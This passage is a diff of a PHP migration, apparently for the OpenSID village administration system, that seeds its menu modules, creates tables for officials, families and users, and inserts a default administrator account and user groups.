+ 'ikon' => 'fa-sign-in', + 'urut' => 1, + 'level' => 2, + 'hidden' => 2, + 'ikon_kecil' => '', + 'parent' => 15, + ], + [ + 'id' => 58, + 'modul' => 'Surat Keluar', + 'url' => 'surat_keluar/clear', + 'aktif' => 1, + 'ikon' => 'fa-sign-out', + 'urut' => 2, + 'level' => 2, + 'hidden' => 2, + 'ikon_kecil' => '', + 'parent' => 15, + ], + [ + 'id' => 61, + 'modul' => 'Inventaris', + 'url' => 'inventaris_tanah', + 'aktif' => 1, + 'ikon' => 'fa-cubes', + 'urut' => 5, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 15, + ], + [ + 'id' => 62, + 'modul' => 'Peta', + 'url' => 'gis/clear', + 'aktif' => 1, + 'ikon' => 'fa-globe', + 'urut' => 1, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => 'fa fa-globe', + 'parent' => 9, + ], + [ + 'id' => 63, + 'modul' => 'Klasfikasi Surat', + 'url' => 'klasifikasi/clear', + 'aktif' => 1, + 'ikon' => 'fa-code', + 'urut' => 10, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => 'fa-code', + 'parent' => 15, + ], + [ + 'id' => 64, + 'modul' => 'Teks Berjalan', + 'url' => 'teks_berjalan', + 'aktif' => 1, + 'ikon' => 'fa-ellipsis-h', + 'urut' => 9, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => 'fa-ellipsis-h', + 'parent' => 13, + ], + [ + 'id' => 65, + 'modul' => 'Kategori', + 'url' => 'kategori', + 'aktif' => 1, + 'ikon' => '', + 'urut' => 0, + 'level' => 0, + 'hidden' => 2, + 'ikon_kecil' => '', + 'parent' => 49, + ], + [ + 'id' => 66, + 'modul' => 'Log Penduduk', + 'url' => 'penduduk_log', + 'aktif' => 1, + 'ikon' => '', + 'urut' => 0, + 'level' => 0, + 'hidden' => 2, + 'ikon_kecil' => '', + 'parent' => 21, + ], + [ + 'id' => 67, + 'modul' => 'analisis_kategori', + 'url' => 'analisis_kategori', + 'aktif' => 1, + 'ikon' => '', + 'urut' => 0, + 'level' => 0, + 'hidden' => 2, + 'ikon_kecil' => '', + 'parent' => 5, + ], + [ + 'id' => 68, + 'modul' => 'analisis_indikator', + 'url' => 'analisis_indikator', + 'aktif' => 1, + 'ikon' => '', + 'urut' => 0, + 'level' => 0, + 'hidden' => 2, + 'ikon_kecil' => '', + 'parent' => 5, + ], + [ + 'id' => 69, + 'modul' => 'analisis_klasifikasi', + 'url' => 'analisis_klasifikasi', + 'aktif' => 1, + 'ikon' => '', + 'urut' => 0, + 'level' => 0, + 'hidden' => 2, + 'ikon_kecil' => '', + 'parent' => 5, + ], + [ + 'id' => 70, + 'modul' => 'analisis_periode', + 'url' => 'analisis_periode', + 'aktif' => 1, + 'ikon' => '', + 'urut' => 0, + 'level' => 0, + 'hidden' => 2, + 'ikon_kecil' => '', + 'parent' => 5, + ], + [ + 'id' => 71, + 'modul' => 'analisis_respon', + 'url' => 'analisis_respon', + 'aktif' => 1, + 'ikon' => '', + 'urut' => 0, + 'level' => 0, + 'hidden' => 2, + 'ikon_kecil' => '', + 'parent' => 5, + ], + [ + 'id' => 72, + 'modul' => 'analisis_laporan', + 'url' => 'analisis_laporan', + 'aktif' => 1, + 'ikon' => '', + 'urut' => 0, + 'level' => 0, + 'hidden' => 2, + 'ikon_kecil' => '', + 'parent' => 5, + ], + [ + 'id' => 73, + 'modul' => 'analisis_statistik_jawaban', + 'url' => 'analisis_statistik_jawaban', + 'aktif' => 1, + 'ikon' => '', + 'urut' => 0, + 'level' => 0, + 'hidden' => 2, + 'ikon_kecil' => '', + 'parent' => 5, + ], + [ + 'id' => 75, + 'modul' => 'api_inventaris_asset', + 'url' => 'api_inventaris_asset', + 'aktif' => 1, + 'ikon' => '', + 'urut' => 0, + 'level' => 0, + 'hidden' => 2, + 'ikon_kecil' => '', + 'parent' => 61, + ], + [ + 'id' => 76, + 'modul' => 'api_inventaris_gedung', + 'url' => 'api_inventaris_gedung', + 'aktif' => 1, + 'ikon' => '', + 'urut' => 0, + 'level' => 0, + 'hidden' => 2, + 'ikon_kecil' => '', + 'parent' => 61, + ], + [ + 'id' => 77, + 'modul' => 'api_inventaris_gedung', + 'url' => 'api_inventaris_gedung', + 'aktif' => 1, + 'ikon' => '', + 'urut' => 0, + 'level' => 0, + 'hidden' => 2, + 'ikon_kecil' => '', + 'parent' => 61, + ], + [ + 'id' => 78, + 'modul' => 'api_inventaris_jalan', + 'url' => 'api_inventaris_jalan', + 'aktif' => 1, + 'ikon' => '', + 'urut' => 0, + 'level' => 0, + 'hidden' => 2, + 'ikon_kecil' => '', + 'parent' => 61, + ], + [ + 'id' => 79, + 'modul' => 'api_inventaris_konstruksi', + 'url' => 'api_inventaris_kontruksi', + 'aktif' => 1, + 'ikon' => '', + 'urut' => 0, + 'level' => 0, + 'hidden' => 2, + 'ikon_kecil' => '', + 'parent' => 61, + ], + [ + 'id' => 80, + 'modul' => 'api_inventaris_peralatan', + 'url' => 'api_inventaris_peralatan', + 'aktif' => 1, + 'ikon' => '', + 'urut' => 0, + 'level' => 0, + 'hidden' => 2, + 'ikon_kecil' => '', + 'parent' => 61, + ], + [ + 'id' => 81, + 'modul' => 'api_inventaris_tanah', + 'url' => 'api_inventaris_tanah', + 'aktif' => 1, + 'ikon' => '', + 'urut' => 0, + 'level' => 0, + 'hidden' => 2, + 'ikon_kecil' => '', + 'parent' => 61, + ], + [ + 'id' => 82, + 'modul' => 'inventaris_asset', + 'url' => 'inventaris_asset', + 'aktif' => 1, + 'ikon' => '', + 'urut' => 0, + 'level' => 0, + 'hidden' => 2, + 'ikon_kecil' => '', + 'parent' => 61, + ], + [ + 'id' => 83, + 'modul' => 'inventaris_gedung', + 'url' => 'inventaris_gedung', + 'aktif' => 1, + 'ikon' => '', + 'urut' => 0, + 'level' => 0, + 'hidden' => 2, + 'ikon_kecil' => '', + 'parent' => 61, + ], + [ + 'id' => 84, + 'modul' => 'inventaris_jalan', + 'url' => 'inventaris_jalan', + 'aktif' => 1, + 'ikon' => '', + 'urut' => 0, + 'level' => 0, + 'hidden' => 2, + 'ikon_kecil' => '', + 'parent' => 61, + ], + [ + 'id' => 85, + 'modul' => 'inventaris_kontruksi', + 'url' => 'inventaris_kontruksi', + 'aktif' => 1, + 'ikon' => '', + 'urut' => 0, + 'level' => 0, + 'hidden' => 2, + 'ikon_kecil' => '', + 'parent' => 61, + ], + [ + 'id' => 86, + 'modul' => 'inventaris_peralatan', + 'url' => 'inventaris_peralatan', + 'aktif' => 1, + 'ikon' => '', + 'urut' => 0, + 'level' => 0, + 'hidden' => 2, + 'ikon_kecil' => '', + 'parent' => 61, + ], + [ + 'id' => 87, + 'modul' => 'laporan_inventaris', + 'url' => 'laporan_inventaris', + 'aktif' => 1, + 'ikon' => '', + 'urut' => 0, + 'level' => 0, + 'hidden' => 2, + 'ikon_kecil' => '', + 'parent' => 61, + ], + [ + 'id' => 88, + 'modul' => 'plan', + 'url' => 'plan', + 'aktif' => 1, + 'ikon' => '', + 'urut' => 0, + 'level' => 0, + 'hidden' => 2, + 'ikon_kecil' => '', + 'parent' => 8, + ], + [ + 'id' => 89, + 'modul' => 'point', + 'url' => 'point', + 'aktif' => 1, + 'ikon' => '', + 'urut' => 0, + 'level' => 0, + 'hidden' => 2, + 'ikon_kecil' => '', + 'parent' => 8, + ], + [ + 'id' => 90, + 'modul' => 'garis', + 'url' => 'garis', + 'aktif' => 1, + 'ikon' => '', + 'urut' => 0, + 'level' => 0, + 'hidden' => 2, + 'ikon_kecil' => '', + 'parent' => 8, + ], + [ + 'id' => 91, + 'modul' => 'line', + 'url' => 'line', + 'aktif' => 1, + 'ikon' => '', + 'urut' => 0, + 'level' => 0, + 'hidden' => 2, + 'ikon_kecil' => '', + 'parent' => 8, + ], + [ + 'id' => 92, + 'modul' => 'area', + 'url' => 'area', + 'aktif' => 1, + 'ikon' => '', + 'urut' => 0, + 'level' => 0, + 'hidden' => 2, + 'ikon_kecil' => '', + 'parent' => 8, + ], + [ + 'id' => 93, + 'modul' => 'polygon', + 'url' => 'polygon', + 'aktif' => 1, + 'ikon' => '', + 'urut' => 0, + 'level' => 0, + 'hidden' => 2, + 'ikon_kecil' => '', + 'parent' => 8, + ], + [ + 'id' => 94, + 'modul' => 'Kategori Kelompok', + 'url' => 'kelompok_master', + 'aktif' => 1, + 'ikon' => '', + 'urut' => 0, + 'level' => 0, + 'hidden' => 2, + 'ikon_kecil' => '', + 'parent' => 24, + ], + [ + 'id' => 95, + 'modul' => 'Produk Hukum', + 'url' => 'dokumen_sekretariat/peraturan_desa', + 'aktif' => 1, + 'ikon' => 'fa-book', + 'urut' => 3, + 'level' => 2, + 'hidden' => 2, + 'ikon_kecil' => '', + 'parent' => 15, + ], + [ + 'id' => 96, + 'modul' => 'Informasi Publik', + 'url' => 'informasi_publik', + 'aktif' => 1, + 'ikon' => '', + 'urut' => 0, + 'level' => 0, + 'hidden' => 2, + 'ikon_kecil' => '', + 'parent' => 52, + ], + [ + 'id' => 97, + 'modul' => 'Daftar Persyaratan', + 'url' => 'surat_mohon', + 'aktif' => 1, + 'ikon' => 'fa fa-book', + 'urut' => 5, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 4, + ], + [ + 'id' => 98, + 'modul' => 'Permohonan Surat', + 'url' => 'permohonan_surat_admin/clear', + 'aktif' => 1, + 'ikon' => 'fa-files-o', + 'urut' => 0, + 'level' => 0, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 14, + ], + [ + 'id' => 101, + 'modul' => 'Status [Desa]', + 'url' => 'status_desa', + 'aktif' => 1, + 'ikon' => 'fa-dot-circle-o', + 'urut' => 4, + 'level' => 0, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 200, + ], + [ + 'id' => 102, + 'modul' => 'Pengaturan Grup', + 'url' => 'grup/clear', + 'aktif' => 1, + 'ikon' => '', + 'urut' => 0, + 'level' => 0, + 'hidden' => 2, + 'ikon_kecil' => '', + 'parent' => 44, + ], + [ + 'id' => 110, + 'modul' => 'Master Analisis', + 'url' => 'analisis_master/clear', + 'aktif' => 1, + 'ikon' => 'fa-check-square-o', + 'urut' => 1, + 'level' => 1, + 'hidden' => 0, + 'ikon_kecil' => 'fa-check-square-o', + 'parent' => 5, + ], + [ + 'id' => 111, + 'modul' => 'Pengaturan', + 'url' => 'setting/analisis', + 'aktif' => 1, + 'ikon' => 'fa-gear', + 'urut' => 2, + 'level' => 1, + 'hidden' => 0, + 'ikon_kecil' => 'fa-gear', + 'parent' => 5, + ], + [ + 'id' => 200, + 'modul' => 'Info [Desa]', + 'url' => '', + 'aktif' => 1, + 'ikon' => 'fa-dashboard', + 'urut' => 20, + 'level' => 2, + 'hidden' => 1, + 'ikon_kecil' => 'fa fa-home', + 'parent' => 0, + ], + [ + 'id' => 201, + 'modul' => 'Keuangan', + 'url' => '', + 'aktif' => 1, + 'ikon' => 'fa-balance-scale', + 'urut' => 80, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => 'fa-balance-scale', + 'parent' => 0, + ], + [ + 'id' => 202, + 'modul' => 'Impor Data', + 'url' => 'keuangan/impor_data', + 'aktif' => 1, + 'ikon' => 'fa-cloud-upload', + 'urut' => 1, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => 'fa-cloud-upload', + 'parent' => 201, + ], + [ + 'id' => 203, + 'modul' => 'Laporan', + 'url' => 'keuangan/laporan', + 'aktif' => 1, + 'ikon' => 'fa-bar-chart', + 'urut' => 2, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => 'fa-bar-chart', + 'parent' => 201, + ], + [ + 'id' => 205, + 'modul' => 'Pengunjung', + 'url' => 'pengunjung/clear', + 'aktif' => 1, + 'ikon' => 'fa-bar-chart', + 'urut' => 10, + 'level' => 4, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 13, + ], + [ + 'id' => 206, + 'modul' => 'Siaga Covid-19', + 'url' => '', + 'aktif' => 1, + 'ikon' => 'fa-heartbeat', + 'urut' => 5, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => 'fa fa-heartbeat', + 'parent' => 0, + ], + [ + 'id' => 207, + 'modul' => 'Pendataan', + 'url' => 'covid19', + 'aktif' => 1, + 'ikon' => 'fa-list', + 'urut' => 1, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => 'fa fa-list', + 'parent' => 206, + ], + [ + 'id' => 208, + 'modul' => 'Pemantauan', + 'url' => 'covid19/pantau', + 'aktif' => 1, + 'ikon' => 'fa-check', + 'urut' => 2, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => 'fa fa-check', + 'parent' => 206, + ], + [ + 'id' => 209, + 'modul' => 'Input Data', + 'url' => 'keuangan_manual/manual_apbdes', + 'aktif' => 1, + 'ikon' => 'fa-keyboard-o', + 'urut' => 3, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => 'fa-keyboard-o', + 'parent' => 201, + ], + [ + 'id' => 210, + 'modul' => 'Laporan Manual', + 'url' => 'keuangan_manual/laporan_manual', + 'aktif' => 1, + 'ikon' => 'fa-bar-chart', + 'urut' => 4, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => 'fa-bar-chart', + 'parent' => 201, + ], + [ + 'id' => 211, + 'modul' => 'Pengaturan', + 'url' => 'setting/web', + 'aktif' => 1, + 'ikon' => 'fa-gear', + 'urut' => 11, + 'level' => 4, + 'hidden' => 0, + 'ikon_kecil' => 'fa-gear', + 'parent' => 13, + ], + [ + 'id' => 212, + 'modul' => 'QR Code', + 'url' => 'setting/qrcode/clear', + 'aktif' => 1, + 'ikon' => 'fa-qrcode', + 'urut' => 6, + 'level' => 1, + 'hidden' => 0, + 'ikon_kecil' => 'fa-qrcode', + 'parent' => 11, + ], + [ + 'id' => 213, + 'modul' => 'data_persil', + 'url' => 'data_persil', + 'aktif' => 1, + 'ikon' => '', + 'urut' => 0, + 'level' => 2, + 'hidden' => 2, + 'ikon_kecil' => '', + 'parent' => 7, + ], + [ + 'id' => 214, + 'modul' => 'C-Desa', + 'url' => 'cdesa', + 'aktif' => 1, + 'ikon' => 'fa-files-o', + 'urut' => 0, + 'level' => 0, + 'hidden' => 2, + 'ikon_kecil' => '', + 'parent' => 7, + ], + [ + 'id' => 220, + 'modul' => 'Pembangunan', + 'url' => 'admin_pembangunan', + 'aktif' => 1, + 'ikon' => 'fa-institution', + 'urut' => 120, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => 'fa-institution', + 'parent' => 0, + ], + [ + 'id' => 301, + 'modul' => 'Buku Administrasi [Desa]', + 'url' => '', + 'aktif' => 1, + 'ikon' => 'fa-paste', + 'urut' => 70, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => 'fa fa-paste', + 'parent' => 0, + ], + [ + 'id' => 302, + 'modul' => 'Administrasi Umum', + 'url' => 'bumindes_umum', + 'aktif' => 1, + 'ikon' => 'fa-bookmark', + 'urut' => 1, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => 'fa fa-bookmark', + 'parent' => 301, + ], + [ + 'id' => 303, + 'modul' => 'Administrasi Penduduk', + 'url' => 'bumindes_penduduk_induk/clear', + 'aktif' => 1, + 'ikon' => 'fa-users', + 'urut' => 2, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => 'fa fa-users', + 'parent' => 301, + ], + [ + 'id' => 304, + 'modul' => 'Administrasi Keuangan', + 'url' => 'bumindes_keuangan', + 'aktif' => 1, + 'ikon' => 'fa-money', + 'urut' => 3, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => 'fa fa-money', + 'parent' => 301, + ], + [ + 'id' => 305, + 'modul' => 'Administrasi Pembangunan', + 'url' => 'bumindes_rencana_pembangunan', + 'aktif' => 1, + 'ikon' => 'fa-university', + 'urut' => 4, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => 'fa fa-university', + 'parent' => 301, + ], + [ + 'id' => 310, + 'modul' => 'Buku Eskpedisi', + 'url' => 'ekspedisi/clear', + 'aktif' => 1, + 'ikon' => 'fa-files-o', + 'urut' => 0, + 'level' => 0, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 302, + ], + [ + 'id' => 311, + 'modul' => 'Buku Lembaran Dan Berita [Desa]', + 'url' => 'lembaran_desa/clear', + 'aktif' => 1, + 'ikon' => 'fa-files-o', + 'urut' => 0, + 'level' => 0, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 302, + ], + [ + 'id' => 312, + 'modul' => 'Anjungan', + 'url' => 'anjungan', + 'aktif' => 1, + 'ikon' => 'fa-desktop', + 'urut' => 4, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 14, + ], + [ + 'id' => 313, + 'modul' => 'Layanan Pelanggan', + 'url' => 'pelanggan', + 'aktif' => 1, + 'ikon' => 'fa-credit-card', + 'urut' => 5, + 'level' => 0, + 'hidden' => 0, + 'ikon_kecil' => 'fa-credit-card', + 'parent' => 200, + ], + [ + 'id' => 314, + 'modul' => 'Pengaturan', + 'url' => 'setting/mandiri', + 'aktif' => 1, + 'ikon' => 'fa-gear', + 'urut' => 6, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => 'fa-gear', + 'parent' => 14, + ], + [ + 'id' => 315, + 'modul' => 'Buku Mutasi Penduduk', + 'url' => 'bumindes_penduduk_mutasi/clear', + 'aktif' => 1, + 'ikon' => 'fa-files-o', + 'urut' => 0, + 'level' => 0, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 303, + ], + [ + 'id' => 316, + 'modul' => 'Buku Rekapitulasi Jumlah Penduduk', + 'url' => 'bumindes_penduduk_rekapitulasi/clear', + 'aktif' => 1, + 'ikon' => 'fa-files-o', + 'urut' => 0, + 'level' => 0, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 303, + ], + [ + 'id' => 317, + 'modul' => 'Buku Penduduk Sementara', + 'url' => 'bumindes_penduduk_sementara/clear', + 'aktif' => 1, + 'ikon' => 'fa-files-o', + 'urut' => 0, + 'level' => 0, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 303, + ], + [ + 'id' => 318, + 'modul' => 'Buku KTP dan KK', + 'url' => 'bumindes_penduduk_ktpkk/clear', + 'aktif' => 1, + 'ikon' => 'fa-files-o', + 'urut' => 0, + 'level' => 0, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 303, + ], + [ + 'id' => 319, + 'modul' => 'Buku Tanah Kas [Desa]', + 'url' => 'bumindes_tanah_kas_desa/clear', + 'aktif' => 1, + 'ikon' => 'fa-files-o', + 'urut' => 0, + 'level' => 0, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 302, + ], + [ + 'id' => 320, + 'modul' => 'Buku Tanah di [Desa]', + 'url' => 'bumindes_tanah_desa/clear', + 'aktif' => 1, + 'ikon' => 'fa-files-o', + 'urut' => 0, + 'level' => 0, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 302, + ], + [ + 'id' => 321, + 'modul' => 'Pendapat', + 'url' => 'pendapat', + 'aktif' => 1, + 'ikon' => 'fa-thumbs-o-up', + 'urut' => 5, + 'level' => 0, + 'hidden' => 0, + 'ikon_kecil' => 'fa-thumbs-o-up', + 'parent' => 14, + ], + [ + 'id' => 322, + 'modul' => 'Buku Inventaris dan Kekayaan [Desa]', + 'url' => 'bumindes_inventaris_kekayaan', + 'aktif' => 1, + 'ikon' => 'fa-files-o', + 'urut' => 0, + 'level' => 0, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 302, + ], + [ + 'id' => 323, + 'modul' => 'Buku Rencana Kerja Pembangunan', + 'url' => 'bumindes_rencana_pembangunan', + 'aktif' => 1, + 'ikon' => 'fa-files-o', + 'urut' => 0, + 'level' => 0, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 305, + ], + [ + 'id' => 324, + 'modul' => 'Lapak', + 'url' => 'lapak_admin', + 'aktif' => 1, + 'ikon' => 'fa-cart-plus', + 'urut' => 122, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => 'fa-cart-plus', + 'parent' => 0, + ], + [ + 'id' => 325, + 'modul' => 'Laporan APBDes', + 'url' => 'laporan_apbdes', + 'aktif' => 1, + 'ikon' => 'fa-file-text-o', + 'urut' => 5, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => 'fa-file-text-o', + 'parent' => 201, + ], + [ + 'id' => 326, + 'modul' => 'Sinkronisasi', + 'url' => 'sinkronisasi', + 'aktif' => 1, + 'ikon' => ' fa-random', + 'urut' => 7, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => 'fa-random', + 'parent' => 11, + ], + [ + 'id' => 327, + 'modul' => 'Lembaga [Desa]', + 'url' => 'lembaga/clear', + 'aktif' => 1, + 'ikon' => 'fa-list', + 'urut' => 4, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 200, + ], + [ + 'id' => 328, + 'modul' => 'Kategori Lembaga', + 'url' => 'lembaga_master', + 'aktif' => 1, + 'ikon' => '', + 'urut' => null, + 'level' => 2, + 'hidden' => 2, + 'ikon_kecil' => '', + 'parent' => 327, + ], + [ + 'id' => 329, + 'modul' => 'Bumindes Kegiatan Pembangunan', + 'url' => 'bumindes_kegiatan_pembangunan', + 'aktif' => 1, + 'ikon' => '', + 'urut' => null, + 'level' => 2, + 'hidden' => 2, + 'ikon_kecil' => '', + 'parent' => 301, + ], + [ + 'id' => 330, + 'modul' => 'Laporan penduduk', + 'url' => 'laporan_penduduk', + 'aktif' => 1, + 'ikon' => 'fa-file-text-o', + 'urut' => 5, + 'level' => 2, + 'hidden' => 1, + 'ikon_kecil' => 'fa-file-text-o', + 'parent' => 3, + ], + [ + 'id' => 331, + 'modul' => 'Pendaftaran Kerjasama', + 'url' => 'pendaftaran_kerjasama', + 'aktif' => 1, + 'ikon' => 'fa-list', + 'urut' => 6, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => 'fa-list', + 'parent' => 200, + ], + [ + 'id' => 332, + 'modul' => 'Kader Pemberdayaan Masyarakat', + 'url' => 'bumindes_kader', + 'aktif' => 1, + 'ikon' => '', + 'urut' => null, + 'level' => 2, + 'hidden' => 2, + 'ikon_kecil' => '', + 'parent' => 301, + ], + [ + 'id' => 333, + 'modul' => 'Buku Inventaris Hasil - Hasil Pembangunan', + 'url' => 'bumindes_hasil_pembangunan', + 'aktif' => 1, + 'ikon' => '', + 'urut' => null, + 'level' => 2, + 'hidden' => 2, + 'ikon_kecil' => '', + 'parent' => 301, + ], + [ + 'id' => 334, + 'modul' => 'Pengaduan', + 'url' => 'pengaduan_admin', + 'aktif' => 1, + 'ikon' => 'fa-info', + 'urut' => 124, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => 'fa-info', + 'parent' => 0, + ], + [ + 'id' => 335, + 'modul' => 'Vaksin', + 'url' => 'vaksin_covid/clear', + 'aktif' => 1, + 'ikon' => 'fa fa-medkit', + 'urut' => 2, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 206, + ], + [ + 'id' => 336, + 'modul' => 'Arsip [Desa]', + 'url' => 'bumindes_arsip', + 'aktif' => 1, + 'ikon' => 'fa-archive', + 'urut' => 5, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => 'fa fa-archive', + 'parent' => 301, + ], + ]); + + DB::statement(' + CREATE TABLE `sys_traffic` ( + `Tanggal` date NOT NULL, + `ipAddress` text NOT NULL, + `Jumlah` int(10) NOT NULL, + PRIMARY KEY (`Tanggal`) + ); + '); + } + + private function tabel_pamong() + { + DB::statement(" + CREATE TABLE `tweb_desa_pamong` ( + `pamong_id` int(5) NOT NULL AUTO_INCREMENT, + `pamong_nama` varchar(100) DEFAULT NULL, + `pamong_nip` varchar(20) DEFAULT NULL, + `pamong_nik` varchar(20) DEFAULT NULL, + `jabatan` varchar(50) DEFAULT '0', + `pamong_status` tinyint(1) DEFAULT 1, + `pamong_tgl_terdaftar` date DEFAULT NULL, + `pamong_ttd` tinyint(1) DEFAULT NULL, + `foto` text DEFAULT NULL, + `id_pend` int(11) DEFAULT NULL, + `pamong_tempatlahir` varchar(100) DEFAULT NULL, + `pamong_tanggallahir` date DEFAULT NULL, + `pamong_sex` tinyint(4) DEFAULT NULL, + `pamong_pendidikan` int(10) DEFAULT NULL, + `pamong_agama` int(10) DEFAULT NULL, + `pamong_nosk` varchar(30) DEFAULT NULL, + `pamong_tglsk` date DEFAULT NULL, + `pamong_masajab` varchar(120) DEFAULT NULL, + `urut` int(5) DEFAULT NULL, + `pamong_niap` varchar(25) DEFAULT '0', + `pamong_pangkat` varchar(20) DEFAULT NULL, + `pamong_nohenti` varchar(20) DEFAULT NULL, + `pamong_tglhenti` date DEFAULT NULL, + `pamong_ub` tinyint(1) NOT NULL DEFAULT 0, + `atasan` int(11) DEFAULT NULL, + `bagan_tingkat` tinyint(2) DEFAULT NULL, + `bagan_offset` int(3) DEFAULT NULL, + `bagan_layout` varchar(20) DEFAULT NULL, + `bagan_warna` varchar(25) DEFAULT NULL, + PRIMARY KEY (`pamong_id`) + ); + "); + } + + private function tabel_keluarga() + { + DB::statement(' + CREATE TABLE `tweb_keluarga` ( + `id` int(10) NOT NULL AUTO_INCREMENT, + `no_kk` varchar(16) DEFAULT NULL, + `nik_kepala` varchar(200) DEFAULT NULL, + `tgl_daftar` timestamp NULL DEFAULT current_timestamp(), + `kelas_sosial` int(4) DEFAULT NULL, + `tgl_cetak_kk` datetime DEFAULT NULL, + `alamat` varchar(200) DEFAULT NULL, + `id_cluster` int(11) NOT NULL, + `updated_at` timestamp NOT NULL DEFAULT current_timestamp(), + `updated_by` int(11) NOT NULL, + PRIMARY KEY (`id`), + UNIQUE KEY `no_kk` (`no_kk`), + KEY `nik_kepala` (`nik_kepala`) + ); + '); + + DB::statement(' + CREATE TABLE `tweb_keluarga_sejahtera` ( + `id` int(10) NOT NULL DEFAULT 0, + `nama` varchar(100) DEFAULT NULL, + PRIMARY KEY (`id`) + ); + '); + + DB::table('tweb_keluarga_sejahtera')->insert([ + ['id' => 1, 'nama' => 'Keluarga Pra Sejahtera'], + ['id' => 2, 'nama' => 'Keluarga Sejahtera I'], + ['id' => 3, 'nama' => 'Keluarga Sejahtera II'], + ['id' => 4, 'nama' => 'Keluarga Sejahtera III'], + ['id' => 5, 'nama' => 'Keluarga Sejahtera III Plus'], + ]); + } + + private function tabel_pengguna() + { + DB::statement(" + CREATE TABLE `user` ( + `id` mediumint(8) unsigned NOT NULL AUTO_INCREMENT, + `username` varchar(100) DEFAULT NULL, + `password` varchar(100) NOT NULL, + `id_grup` int(5) NOT NULL, + `email` varchar(100) DEFAULT NULL, + `last_login` datetime DEFAULT NULL, + `email_verified_at` datetime DEFAULT NULL, + `active` tinyint(1) unsigned DEFAULT 0, + `nama` varchar(50) DEFAULT NULL, + `company` varchar(100) DEFAULT NULL, + `phone` varchar(20) DEFAULT NULL, + `foto` varchar(100) DEFAULT 'kuser.png', + `session` varchar(40) NOT NULL, + PRIMARY KEY (`id`), + UNIQUE KEY `username` (`username`), + UNIQUE KEY `email` (`email`) + ); + "); + + DB::table('user')->insert([ + [ + 'id' => 1, + 'username' => 'admin', + 'password' => '$2y$10$CfFhuvLXa3RNotqOPYyW2.JujLbAbZ4YO0PtxIRBz4QDLP0/pfH6.', + 'id_grup' => 1, + 'email' => null, + 'last_login' => '2022-02-28 19:55:01', + 'email_verified_at' => null, + 'active' => 1, + 'nama' => 'Administrator', + 'company' => 'OpenDesa', + 'phone' => null, + 'foto' => 'kuser.png', + 'session' => 'a8d4080245664ed2049c1b2ded7cac30', + ], + ]); + + DB::statement(' + CREATE TABLE `user_grup` ( + `id` int(5) NOT NULL AUTO_INCREMENT, + `nama` varchar(20) NOT NULL, + `jenis` tinyint(2) NOT NULL DEFAULT 1, + `created_at` timestamp NOT NULL DEFAULT current_timestamp(), + `created_by` int(11) DEFAULT NULL, + `updated_at` timestamp NOT NULL DEFAULT current_timestamp(), + `updated_by` int(11) NOT NULL, + PRIMARY KEY (`id`) + ); + '); + + DB::table('user_grup')->insert([ + [ + 'id' => 1, + 'nama' => 'Administrator', + 'jenis' => 1, + 'created_at' => '2021-05-01 01:45:38', + 'created_by' => null, + 'updated_at' => '2021-05-01 01:45:38', + 'updated_by' => 0, + ], + [ + 'id' => 2, + 'nama' => 'Operator', + 'jenis' => 1, + 'created_at' => '2021-05-01 01:45:38', + 'created_by' => null, + 'updated_at' => '2021-05-01 01:45:38', + 'updated_by' => 0, + ], + [ + 'id' => 3, + 'nama' => 'Redaksi', + 'jenis' => 1, + 'created_at' => '2021-05-01 01:45:38', + 'created_by' => null, + 'updated_at' => '2021-05-01 01:45:38', + 'updated_by' => 0, + ], + [ + 'id' => 4, + 'nama' => 'Kontributor', + 'jenis' => 1, + 'created_at' => '2021-05-01 01:45:38', + 'created_by' => null, + 'updated_at' => '2021-05-01 01:45:38', + 'updated_by' => 0, + ], + [ + 'id' => 5, + 'nama' => 'Satgas Covid-19', + 'jenis' => 2, + 'created_at' => '2021-05-01 01:45:38', + 'created_by' => null, + 'updated_at' => '2021-05-01 01:45:38', + 'updated_by' => 0, + ], + ]); + } + + // TODO: Pisahkan pembuatan tabel dengan pembuatan foreign key constraint + // supaya pembuatan tabel bisa dilakukan di masing2 modul + private function tabel_ada_foreign_key() + { + DB::statement(' + CREATE TABLE `suplemen_terdata` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_suplemen` int(10) 